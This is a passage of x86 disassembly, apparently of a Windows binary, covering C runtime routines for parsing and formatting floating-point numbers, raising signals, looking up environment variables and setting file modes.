		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		dec	[ebp+var_8]
		mov	[eax], bl

loc_4216C8:				; CODE XREF: sub_4214D8+1DDj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_421686
; ---------------------------------------------------------------------------

loc_4216CD:				; CODE XREF: sub_4214D8+18Cj
					; sub_4214D8+1D7j
		cmp	bl, 2Bh
		jz	loc_4215E0
		cmp	bl, 2Dh
		jz	loc_4215E0
		jmp	loc_4215B9
; ---------------------------------------------------------------------------

loc_4216E4:				; CODE XREF: sub_4214D8+63j
					; DATA XREF: ___:off_421979o
		cmp	dword_433E7C, edx ; jumptable 0042153B case 5
		mov	[ebp+var_24], edx
		jle	short loc_421700
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41A642
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_42170E
; ---------------------------------------------------------------------------

loc_421700:				; CODE XREF: sub_4214D8+215j
		mov	ecx, off_433C70
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi

loc_42170E:				; CODE XREF: sub_4214D8+226j
		test	eax, eax
		jz	loc_4217C0
		mov	eax, esi
		jmp	short loc_421771
; ---------------------------------------------------------------------------

loc_42171A:				; CODE XREF: sub_4214D8+63j
					; DATA XREF: ___:off_421979o
		lea	ecx, [edi-2]	; jumptable 0042153B case 6
		cmp	bl, 31h
		mov	[ebp+arg_8], ecx
		jl	short loc_42172A
		cmp	bl, 39h
		jle	short loc_42176E

loc_42172A:				; CODE XREF: sub_4214D8+24Bj
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_4217A6
		dec	eax
		dec	eax
		jz	short loc_42179A
		sub	eax, 3
		jnz	loc_42184E

loc_42173F:				; CODE XREF: sub_4214D8+2A4j
		push	8
		jmp	short loc_4217A8
; ---------------------------------------------------------------------------

loc_421743:				; CODE XREF: sub_4214D8+63j
					; DATA XREF: ___:off_421979o
		mov	[ebp+var_20], edx ; jumptable 0042153B case 8

loc_421746:				; CODE XREF: sub_4214D8+276j
		cmp	bl, 30h
		jnz	short loc_421750
		mov	bl, [edi]
		inc	edi
		jmp	short loc_421746
; ---------------------------------------------------------------------------

loc_421750:				; CODE XREF: sub_4214D8+271j
		cmp	bl, 31h
		jl	loc_42184B
		cmp	bl, 39h
		jg	loc_42184B
		jmp	short loc_42176E
; ---------------------------------------------------------------------------

loc_421764:				; CODE XREF: sub_4214D8+63j
					; DATA XREF: ___:off_421979o
		cmp	bl, 31h		; jumptable 0042153B case 7
		jl	short loc_421777
		cmp	bl, 39h
		jg	short loc_421777

loc_42176E:				; CODE XREF: sub_4214D8+250j
					; sub_4214D8+28Aj
		push	9

loc_421770:				; CODE XREF: sub_4214D8+76j
		pop	eax

loc_421771:				; CODE XREF: sub_4214D8+240j
		dec	edi
		jmp	loc_42152F
; ---------------------------------------------------------------------------

loc_421777:				; CODE XREF: sub_4214D8+28Fj
					; sub_4214D8+294j
		cmp	bl, 30h
		jnz	short loc_4217C0
		jmp	short loc_42173F
; ---------------------------------------------------------------------------

loc_42177E:				; CODE XREF: sub_4214D8+63j
					; DATA XREF: ___:off_421979o
		cmp	[ebp+arg_18], 0	; jumptable 0042153B case 11
		jz	short loc_4217AE
		movsx	eax, bl
		lea	ecx, [edi-1]
		sub	eax, 2Bh
		mov	[ebp+arg_8], ecx
		jz	short loc_4217A6
		dec	eax
		dec	eax
		jnz	loc_42184E

loc_42179A:				; CODE XREF: sub_4214D8+25Cj
		or	[ebp+var_18], 0FFFFFFFFh
		push	7
		pop	eax
		jmp	loc_42152F
; ---------------------------------------------------------------------------

loc_4217A6:				; CODE XREF: sub_4214D8+258j
					; sub_4214D8+2B8j
		push	7

loc_4217A8:				; CODE XREF: sub_4214D8+85j
					; sub_4214D8+103j ...
		pop	eax
		jmp	loc_42152F
; ---------------------------------------------------------------------------

loc_4217AE:				; CODE XREF: sub_4214D8+2AAj
		push	0Ah
		dec	edi
		pop	eax

loc_4217B2:				; CODE XREF: sub_4214D8+5Dj
					; sub_4214D8+63j
					; DATA XREF: ...
		cmp	eax, 0Ah	; default
					; jumptable 0042153B case 10
		jz	loc_421850
		jmp	loc_42152F
; ---------------------------------------------------------------------------

loc_4217C0:				; CODE XREF: sub_4214D8+12Dj
					; sub_4214D8+238j ...
		mov	edi, [ebp+arg_8]
		jmp	loc_421850
; ---------------------------------------------------------------------------

loc_4217C8:				; CODE XREF: sub_4214D8+63j
					; DATA XREF: ___:off_421979o
		mov	[ebp+var_20], 1	; jumptable 0042153B case 9
		xor	esi, esi

loc_4217D1:				; CODE XREF: sub_4214D8+339j
		cmp	dword_433E7C, 1
		jle	short loc_4217E9
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_4217F8
; ---------------------------------------------------------------------------

loc_4217E9:				; CODE XREF: sub_4214D8+300j
		mov	ecx, off_433C70
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4

loc_4217F8:				; CODE XREF: sub_4214D8+30Fj
		test	eax, eax
		jz	short loc_421818
		movsx	ecx, bl
		lea	eax, [esi+esi*4]
		lea	esi, [ecx+eax*2-30h]
		cmp	esi, 1450h
		jg	short loc_421813
		mov	bl, [edi]
		inc	edi
		jmp	short loc_4217D1
; ---------------------------------------------------------------------------

loc_421813:				; CODE XREF: sub_4214D8+334j
		mov	esi, 1451h

loc_421818:				; CODE XREF: sub_4214D8+322j
		mov	[ebp+var_1C], esi

loc_42181B:				; CODE XREF: sub_4214D8+371j
		cmp	dword_433E7C, 1
		jle	short loc_421833
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_421842
; ---------------------------------------------------------------------------

loc_421833:				; CODE XREF: sub_4214D8+34Aj
		mov	ecx, off_433C70
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4

loc_421842:				; CODE XREF: sub_4214D8+359j
		test	eax, eax
		jz	short loc_42184B
		mov	bl, [edi]
		inc	edi
		jmp	short loc_42181B
; ---------------------------------------------------------------------------

loc_42184B:				; CODE XREF: sub_4214D8+99j
					; sub_4214D8+E4j ...
		dec	edi
		jmp	short loc_421850
; ---------------------------------------------------------------------------

loc_42184E:				; CODE XREF: sub_4214D8+261j
					; sub_4214D8+2BCj
		mov	edi, ecx

loc_421850:				; CODE XREF: sub_4214D8+2DDj
					; sub_4214D8+2EBj ...
		mov	eax, [ebp+arg_4]
		cmp	[ebp+var_10], 0
		mov	[eax], edi
		jz	loc_421938
		push	18h
		pop	eax
		cmp	[ebp+var_4], eax
		jbe	short loc_42187C
		cmp	[ebp+var_45], 5
		jl	short loc_421870
		inc	[ebp+var_45]

loc_421870:				; CODE XREF: sub_4214D8+393j
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		dec	eax
		inc	[ebp+var_8]
		jmp	short loc_42187F
; ---------------------------------------------------------------------------

loc_42187C:				; CODE XREF: sub_4214D8+38Dj
		mov	eax, [ebp+var_C]

loc_42187F:				; CODE XREF: sub_4214D8+3A2j
		cmp	[ebp+var_4], 0
		jbe	loc_42192E

loc_421889:				; CODE XREF: sub_4214D8+3BDj
		dec	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_421897
		dec	[ebp+var_4]
		inc	[ebp+var_8]
		jmp	short loc_421889
; ---------------------------------------------------------------------------

loc_421897:				; CODE XREF: sub_4214D8+3B5j
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_5C]
		push	[ebp+var_4]
		push	eax
		call	sub_421411
		mov	eax, [ebp+var_1C]
		xor	ecx, ecx
		add	esp, 0Ch
		cmp	[ebp+var_18], ecx
		jge	short loc_4218B6
		neg	eax

loc_4218B6:				; CODE XREF: sub_4214D8+3DAj
		add	eax, [ebp+var_8]
		cmp	[ebp+var_20], ecx
		jnz	short loc_4218C1
		add	eax, [ebp+arg_10]

loc_4218C1:				; CODE XREF: sub_4214D8+3E4j
		cmp	[ebp+var_24], ecx
		jnz	short loc_4218C9
		sub	eax, [ebp+arg_14]

loc_4218C9:				; CODE XREF: sub_4214D8+3ECj
		cmp	eax, 1450h
		jle	short loc_421900
		mov	[ebp+var_2C], 1

loc_4218D7:				; CODE XREF: sub_4214D8+436j
		mov	ebx, [ebp+arg_8]
		mov	esi, [ebp+arg_8]
		mov	eax, [ebp+arg_8]
		mov	edx, [ebp+arg_8]

loc_4218E3:				; CODE XREF: sub_4214D8+454j
					; sub_4214D8+45Ej
		cmp	[ebp+var_2C], 0
		jz	short loc_421949
		xor	ebx, ebx
		mov	eax, 7FFFh
		mov	esi, 80000000h
		xor	edx, edx
		mov	[ebp+var_14], 2
		jmp	short loc_42195E
; ---------------------------------------------------------------------------

loc_421900:				; CODE XREF: sub_4214D8+3F6j
		cmp	eax, 0FFFFEBB0h
		jge	short loc_421910
		mov	[ebp+var_30], 1
		jmp	short loc_4218D7
; ---------------------------------------------------------------------------

loc_421910:				; CODE XREF: sub_4214D8+42Dj
		push	[ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_4220C1
		mov	edx, [ebp+var_40]
		mov	ebx, [ebp+var_40+2]
		mov	esi, [ebp+var_3A]
		mov	eax, [ebp+var_36]
		add	esp, 0Ch
		jmp	short loc_4218E3
; ---------------------------------------------------------------------------

loc_42192E:				; CODE XREF: sub_4214D8+3ABj
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		jmp	short loc_4218E3
; ---------------------------------------------------------------------------

loc_421938:				; CODE XREF: sub_4214D8+381j
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 4
		jmp	short loc_42195E
; ---------------------------------------------------------------------------

loc_421949:				; CODE XREF: sub_4214D8+40Fj
		cmp	[ebp+var_30], 0
		jz	short loc_42195E
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 1

loc_42195E:				; CODE XREF: sub_4214D8+426j
					; sub_4214D8+46Fj ...
		mov	ecx, [ebp+arg_0]
		or	eax, [ebp+var_28]
		pop	edi
		mov	[ecx+6], esi
		mov	[ecx+2], ebx
		mov	[ecx+0Ah], ax
		mov	eax, [ebp+var_14]
		pop	esi
		mov	[ecx], dx
		pop	ebx
		leave
		retn
sub_4214D8	endp

; ---------------------------------------------------------------------------
off_421979	dd offset loc_421542	; DATA XREF: sub_4214D8+63r
		dd offset loc_421591	; jump table for switch	statement
		dd offset loc_4215E8
		dd offset loc_421612
		dd offset loc_42166D
		dd offset loc_4216E4
		dd offset loc_42171A
		dd offset loc_421764
		dd offset loc_421743
		dd offset loc_4217C8
		dd offset loc_4217B2
		dd offset loc_42177E

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4219A9	proc near		; CODE XREF: sub_42074B+2Cp

var_1C		= byte ptr -1Ch
var_1B		= byte ptr -1Bh
var_1A		= byte ptr -1Ah
var_19		= byte ptr -19h
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_10		= word ptr -10h
var_E		= dword	ptr -0Eh
var_A		= dword	ptr -0Ah
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	eax, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		mov	ecx, eax
		mov	esi, 7FFFh
		and	ecx, 8000h
		and	eax, esi
		test	cx, cx
		push	edi
		mov	[ebp+var_1C], 0CCh
		mov	[ebp+var_1B], 0CCh
		mov	[ebp+var_1A], 0CCh
		mov	[ebp+var_19], 0CCh
		mov	[ebp+var_18], 0CCh
		mov	[ebp+var_17], 0CCh
		mov	[ebp+var_16], 0CCh
		mov	[ebp+var_15], 0CCh
		mov	[ebp+var_14], 0CCh
		mov	[ebp+var_13], 0CCh
		mov	[ebp+var_12], 0FBh
		mov	[ebp+var_11], 3Fh
		mov	[ebp+var_4], 1
		mov	edx, eax
		jz	short loc_421A0B
		mov	byte ptr [ebx+2], 2Dh
		jmp	short loc_421A0F
; ---------------------------------------------------------------------------

loc_421A0B:				; CODE XREF: sub_4219A9+5Aj
		mov	byte ptr [ebx+2], 20h

loc_421A0F:				; CODE XREF: sub_4219A9+60j
		mov	edi, [ebp+arg_4]
		test	dx, dx
		jnz	short loc_421A35
		test	edi, edi
		jnz	short loc_421A35
		cmp	[ebp+arg_0], edi
		jnz	short loc_421A35

loc_421A20:				; CODE XREF: sub_4219A9+181j
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ebx+4], 30h
		jmp	loc_421C33
; ---------------------------------------------------------------------------

loc_421A35:				; CODE XREF: sub_4219A9+6Cj
					; sub_4219A9+70j ...
		cmp	dx, si
		jnz	short loc_421AB4
		mov	eax, 80000000h
		mov	word ptr [ebx],	1
		cmp	edi, eax
		jnz	short loc_421A4E
		cmp	[ebp+arg_0], 0
		jz	short loc_421A5D

loc_421A4E:				; CODE XREF: sub_4219A9+9Dj
		test	edi, 40000000h
		jnz	short loc_421A5D
		push	offset a1Snan	; "1#SNAN"
		jmp	short loc_421AA3
; ---------------------------------------------------------------------------

loc_421A5D:				; CODE XREF: sub_4219A9+A3j
					; sub_4219A9+ABj
		test	cx, cx
		jz	short loc_421A77
		cmp	edi, 0C0000000h
		jnz	short loc_421A77
		cmp	[ebp+arg_0], 0
		jnz	short loc_421A9E
		push	offset a1Ind	; "1#IND"
		jmp	short loc_421A86
; ---------------------------------------------------------------------------

loc_421A77:				; CODE XREF: sub_4219A9+B7j
					; sub_4219A9+BFj
		cmp	edi, eax
		jnz	short loc_421A9E
		cmp	[ebp+arg_0], 0
		jnz	short loc_421A9E
		push	offset a1Inf	; "1#INF"

loc_421A86:				; CODE XREF: sub_4219A9+CCj
		lea	eax, [ebx+4]
		push	eax
		call	sub_4179C0
		pop	ecx
		mov	byte ptr [ebx+3], 5
		pop	ecx

loc_421A95:				; CODE XREF: sub_4219A9+109j
		and	[ebp+var_4], 0
		jmp	loc_421C0C
; ---------------------------------------------------------------------------

loc_421A9E:				; CODE XREF: sub_4219A9+C5j
					; sub_4219A9+D0j ...
		push	offset a1Qnan	; "1#QNAN"

loc_421AA3:				; CODE XREF: sub_4219A9+B2j
		lea	eax, [ebx+4]
		push	eax
		call	sub_4179C0
		pop	ecx
		mov	byte ptr [ebx+3], 6
		pop	ecx
		jmp	short loc_421A95
; ---------------------------------------------------------------------------

loc_421AB4:				; CODE XREF: sub_4219A9+8Fj
		movzx	eax, dx
		mov	ecx, edi
		mov	esi, eax
		shr	ecx, 18h
		imul	eax, 4D10h
		shr	esi, 8
		and	[ebp+var_10], 0
		push	1
		lea	ecx, [esi+ecx*2]
		mov	[ebp+var_6], dx
		imul	ecx, 4Dh
		mov	[ebp+var_A], edi
		lea	esi, [ecx+eax-134312F4h]
		mov	eax, [ebp+arg_0]
		sar	esi, 10h
		mov	[ebp+var_E], eax
		movsx	eax, si
		neg	eax
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4220C1
		add	esp, 0Ch
		cmp	[ebp+var_6], 3FFFh
		jb	short loc_421B15
		lea	eax, [ebp+var_1C]
		inc	esi
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_421EA1
		pop	ecx
		pop	ecx

loc_421B15:				; CODE XREF: sub_4219A9+15Aj
		test	[ebp+arg_10], 1
		mov	[ebx], si
		jz	short loc_421B2F
		mov	edi, [ebp+arg_C]
		movsx	eax, si
		add	edi, eax
		test	edi, edi
		jg	short loc_421B32
		jmp	loc_421A20
; ---------------------------------------------------------------------------

loc_421B2F:				; CODE XREF: sub_4219A9+173j
		mov	edi, [ebp+arg_C]

loc_421B32:				; CODE XREF: sub_4219A9+17Fj
		cmp	edi, 15h
		jle	short loc_421B3A
		push	15h
		pop	edi

loc_421B3A:				; CODE XREF: sub_4219A9+18Cj
		movzx	esi, [ebp+var_6]
		sub	esi, 3FFEh
		and	[ebp+var_6], 0
		mov	[ebp+arg_14], 8

loc_421B50:				; CODE XREF: sub_4219A9+1B4j
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4213B6
		dec	[ebp+arg_14]
		pop	ecx
		jnz	short loc_421B50
		test	esi, esi
		jge	short loc_421B7A
		neg	esi
		and	esi, 0FFh
		jle	short loc_421B7A

loc_421B6D:				; CODE XREF: sub_4219A9+1CFj
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4213E4
		dec	esi
		pop	ecx
		jnz	short loc_421B6D

loc_421B7A:				; CODE XREF: sub_4219A9+1B8j
					; sub_4219A9+1C2j
		lea	ecx, [edi+1]
		lea	eax, [ebx+4]
		test	ecx, ecx
		mov	[ebp+arg_14], eax
		jle	short loc_421BD7
		mov	[ebp+arg_C], ecx

loc_421B8A:				; CODE XREF: sub_4219A9+229j
		lea	esi, [ebp+var_10]
		lea	edi, [ebp+arg_0]
		movsd
		movsd
		lea	eax, [ebp+var_10]
		push	eax
		movsd
		call	sub_4213B6
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4213B6
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_421358
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4213B6
		mov	al, byte ptr [ebp+var_6+1]
		mov	ecx, [ebp+arg_14]
		and	byte ptr [ebp+var_6+1],	0
		add	esp, 14h
		add	al, 30h
		inc	[ebp+arg_14]
		dec	[ebp+arg_C]
		mov	[ecx], al
		jnz	short loc_421B8A
		mov	eax, [ebp+arg_14]

loc_421BD7:				; CODE XREF: sub_4219A9+1DCj
		mov	cl, [eax-1]
		dec	eax
		dec	eax
		cmp	cl, 35h
		lea	ecx, [ebx+4]
		jl	short loc_421C14

loc_421BE4:				; CODE XREF: sub_4219A9+248j
		cmp	eax, ecx
		jb	short loc_421BF7
		cmp	byte ptr [eax],	39h
		jnz	short loc_421BF3
		mov	byte ptr [eax],	30h
		dec	eax
		jmp	short loc_421BE4
; ---------------------------------------------------------------------------

loc_421BF3:				; CODE XREF: sub_4219A9+242j
		cmp	eax, ecx
		jnb	short loc_421BFB

loc_421BF7:				; CODE XREF: sub_4219A9+23Dj
		inc	eax
		inc	word ptr [ebx]

loc_421BFB:				; CODE XREF: sub_4219A9+24Cj
		inc	byte ptr [eax]

loc_421BFD:				; CODE XREF: sub_4219A9+279j
		sub	al, bl
		sub	al, 3
		mov	[ebx+3], al
		movsx	eax, al
		and	byte ptr [eax+ebx+4], 0

loc_421C0C:				; CODE XREF: sub_4219A9+F0j
		mov	eax, [ebp+var_4]

loc_421C0F:				; CODE XREF: sub_4219A9+291j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_421C14:				; CODE XREF: sub_4219A9+239j
					; sub_4219A9+275j
		cmp	eax, ecx
		jb	short loc_421C24
		cmp	byte ptr [eax],	30h
		jnz	short loc_421C20
		dec	eax
		jmp	short loc_421C14
; ---------------------------------------------------------------------------

loc_421C20:				; CODE XREF: sub_4219A9+272j
		cmp	eax, ecx
		jnb	short loc_421BFD

loc_421C24:				; CODE XREF: sub_4219A9+26Dj
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ecx],	30h

loc_421C33:				; CODE XREF: sub_4219A9+87j
		and	byte ptr [ebx+5], 0
		push	1
		pop	eax
		jmp	short loc_421C0F
sub_4219A9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421C3C	proc near		; CODE XREF: sub_41D4FC+342Fp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	eax, edi
		dec	eax
		dec	eax
		jz	short loc_421CA3
		dec	eax
		dec	eax
		jz	short loc_421C94
		sub	eax, 4
		jz	short loc_421C94
		sub	eax, 3
		jz	short loc_421C94
		sub	eax, 4
		jz	short loc_421C87
		sub	eax, 6
		jz	short loc_421C7A
		dec	eax
		jz	short loc_421C6D
		or	eax, 0FFFFFFFFh
		jmp	loc_421D65
; ---------------------------------------------------------------------------

loc_421C6D:				; CODE XREF: sub_421C3C+27j
		mov	esi, dword_4CDC94
		mov	eax, offset dword_4CDC94
		jmp	short loc_421CAE
; ---------------------------------------------------------------------------

loc_421C7A:				; CODE XREF: sub_421C3C+24j
		mov	esi, dword_4CDC90
		mov	eax, offset dword_4CDC90
		jmp	short loc_421CAE
; ---------------------------------------------------------------------------

loc_421C87:				; CODE XREF: sub_421C3C+1Fj
		mov	esi, dword_4CDC98
		mov	eax, offset dword_4CDC98
		jmp	short loc_421CAE
; ---------------------------------------------------------------------------

loc_421C94:				; CODE XREF: sub_421C3C+10j
					; sub_421C3C+15j ...
		push	edi
		call	sub_421D69
		mov	esi, [eax+8]
		add	eax, 8
		pop	ecx
		jmp	short loc_421CAE
; ---------------------------------------------------------------------------

loc_421CA3:				; CODE XREF: sub_421C3C+Cj
		mov	esi, dword_4CDC8C
		mov	eax, offset dword_4CDC8C

loc_421CAE:				; CODE XREF: sub_421C3C+3Cj
					; sub_421C3C+49j ...
		cmp	esi, 1
		jnz	short loc_421CBA
		xor	eax, eax
		jmp	loc_421D65
; ---------------------------------------------------------------------------

loc_421CBA:				; CODE XREF: sub_421C3C+75j
		test	esi, esi
		jnz	short loc_421CC5
		push	3
		call	sub_419AF6

loc_421CC5:				; CODE XREF: sub_421C3C+80j
		push	ebx
		push	8
		pop	ecx
		cmp	edi, ecx
		jz	short loc_421CD7
		cmp	edi, 0Bh
		jz	short loc_421CD7
		cmp	edi, 4
		jnz	short loc_421CFD

loc_421CD7:				; CODE XREF: sub_421C3C+8Fj
					; sub_421C3C+94j
		mov	ebx, dword_4CDA68
		and	dword_4CDA68, 0
		cmp	edi, ecx
		jnz	short loc_421D2C
		mov	edx, dword_4362EC
		mov	dword_4362EC, 8Ch
		mov	[ebp+arg_0], edx
		jmp	short loc_421D00
; ---------------------------------------------------------------------------

loc_421CFD:				; CODE XREF: sub_421C3C+99j
		mov	ebx, [ebp+arg_0]

loc_421D00:				; CODE XREF: sub_421C3C+BFj
		cmp	edi, ecx
		jnz	short loc_421D2C
		mov	eax, dword_4362E0
		mov	ecx, dword_4362E4
		add	ecx, eax
		cmp	eax, ecx
		jge	short loc_421D33
		lea	edx, [eax+eax*2]
		sub	ecx, eax
		lea	edx, ds:436270h[edx*4]

loc_421D21:				; CODE XREF: sub_421C3C+ECj
		and	dword ptr [edx], 0
		add	edx, 0Ch
		dec	ecx
		jnz	short loc_421D21
		jmp	short loc_421D33
; ---------------------------------------------------------------------------

loc_421D2C:				; CODE XREF: sub_421C3C+AAj
					; sub_421C3C+C6j
		and	dword ptr [eax], 0
		cmp	edi, ecx
		jnz	short loc_421D41

loc_421D33:				; CODE XREF: sub_421C3C+D7j
					; sub_421C3C+EEj
		push	dword_4362EC
		push	8
		call	esi
		pop	ecx
		pop	ecx
		jmp	short loc_421D4F
; ---------------------------------------------------------------------------

loc_421D41:				; CODE XREF: sub_421C3C+F5j
		push	edi
		call	esi
		cmp	edi, 0Bh
		pop	ecx
		jz	short loc_421D4F
		cmp	edi, 4
		jnz	short loc_421D62

loc_421D4F:				; CODE XREF: sub_421C3C+103j
					; sub_421C3C+10Cj
		cmp	edi, 8
		mov	dword_4CDA68, ebx
		jnz	short loc_421D62
		mov	eax, [ebp+arg_0]
		mov	dword_4362EC, eax

loc_421D62:				; CODE XREF: sub_421C3C+111j
					; sub_421C3C+11Cj
		xor	eax, eax
		pop	ebx

loc_421D65:				; CODE XREF: sub_421C3C+2Cj
					; sub_421C3C+79j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_421C3C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_421D69	proc near		; CODE XREF: sub_421C3C+59p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_4362E8
		cmp	dword_43626C, edx
		push	esi
		mov	eax, offset dword_436268
		jz	short loc_421D97
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:436268h[esi*4]

loc_421D8B:				; CODE XREF: sub_421D69+2Cj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_421D97
		cmp	[eax+4], edx
		jnz	short loc_421D8B

loc_421D97:				; CODE XREF: sub_421D69+16j
					; sub_421D69+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:436268h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_421DAB
		cmp	[eax+4], edx
		jz	short locret_421DAD

loc_421DAB:				; CODE XREF: sub_421D69+3Bj
		xor	eax, eax

locret_421DAD:				; CODE XREF: sub_421D69+40j
		retn
sub_421D69	endp


; =============== S U B	R O U T	I N E =======================================



sub_421DAE	proc near		; CODE XREF: sub_42094E+23p

arg_0		= dword	ptr  4

		cmp	dword_4CF030, 0
		push	ebx
		push	esi
		mov	esi, dword_4CD9DC
		push	edi
		jz	short loc_421E25
		test	esi, esi
		jnz	short loc_421DDF
		cmp	dword_4CD9E4, esi
		jz	short loc_421E25
		call	sub_42217C
		test	eax, eax
		jnz	short loc_421E25
		mov	esi, dword_4CD9DC
		test	esi, esi
		jz	short loc_421E25

loc_421DDF:				; CODE XREF: sub_421DAE+14j
		mov	ebx, [esp+0Ch+arg_0]
		test	ebx, ebx
		jz	short loc_421E25
		push	ebx
		call	sub_417AB0
		pop	ecx
		mov	edi, eax

loc_421DF0:				; CODE XREF: sub_421DAE+6Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_421E25
		push	eax
		call	sub_417AB0
		cmp	eax, edi
		pop	ecx
		jbe	short loc_421E18
		mov	eax, [esi]
		cmp	byte ptr [eax+edi], 3Dh
		jnz	short loc_421E18
		push	edi
		push	ebx
		push	eax
		call	sub_42213D
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_421E1D

loc_421E18:				; CODE XREF: sub_421DAE+51j
					; sub_421DAE+59j
		add	esi, 4
		jmp	short loc_421DF0
; ---------------------------------------------------------------------------

loc_421E1D:				; CODE XREF: sub_421DAE+68j
		mov	eax, [esi]
		lea	eax, [eax+edi+1]
		jmp	short loc_421E27
; ---------------------------------------------------------------------------

loc_421E25:				; CODE XREF: sub_421DAE+10j
					; sub_421DAE+1Cj ...
		xor	eax, eax

loc_421E27:				; CODE XREF: sub_421DAE+75j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_421DAE	endp


; =============== S U B	R O U T	I N E =======================================



sub_421E2B	proc near		; CODE XREF: sub_4211F1+8Bp
					; sub_4211F1+D9p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_4CEDE0
		jnb	short loc_421E92
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4CECE0[ecx*4]
		lea	edx, [ecx+eax*8+4]
		mov	cl, [ecx+eax*8+4]
		test	cl, 1
		jz	short loc_421E92
		mov	al, cl
		mov	esi, 8000h
		and	eax, 80h
		cmp	[esp+4+arg_4], esi
		jnz	short loc_421E6B
		and	cl, 7Fh
		jmp	short loc_421E78
; ---------------------------------------------------------------------------

loc_421E6B:				; CODE XREF: sub_421E2B+39j
		cmp	[esp+4+arg_4], 4000h
		jnz	short loc_421E86
		or	cl, 80h

loc_421E78:				; CODE XREF: sub_421E2B+3Ej
		neg	eax
		sbb	eax, eax
		mov	[edx], cl
		and	ax, 0C000h
		add	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_421E86:				; CODE XREF: sub_421E2B+48j
		mov	dword_4CD9B4, 16h
		jmp	short loc_421E9C
; ---------------------------------------------------------------------------

loc_421E92:				; CODE XREF: sub_421E2B+Bj
					; sub_421E2B+27j
		mov	dword_4CD9B4, 9

loc_421E9C:				; CODE XREF: sub_421E2B+65j
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_421E2B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421EA1	proc near		; CODE XREF: sub_4219A9+165p
					; sub_4220C1+69p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	cx, [ebx+0Ah]
		xor	eax, eax
		push	edi
		mov	[ebp+var_14], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_1C], eax
		mov	ax, [esi+0Ah]
		mov	edi, ecx
		mov	edx, 7FFFh
		xor	edi, eax
		and	eax, edx
		and	ecx, edx
		and	edi, 8000h
		cmp	ax, 7FFFh
		lea	edx, [ecx+eax]
		mov	[ebp+arg_0], edx
		jnb	loc_4220A1
		cmp	cx, 7FFFh
		jnb	loc_4220A1
		cmp	dx, 0BFFDh
		ja	loc_4220A1
		cmp	dx, 3FBFh
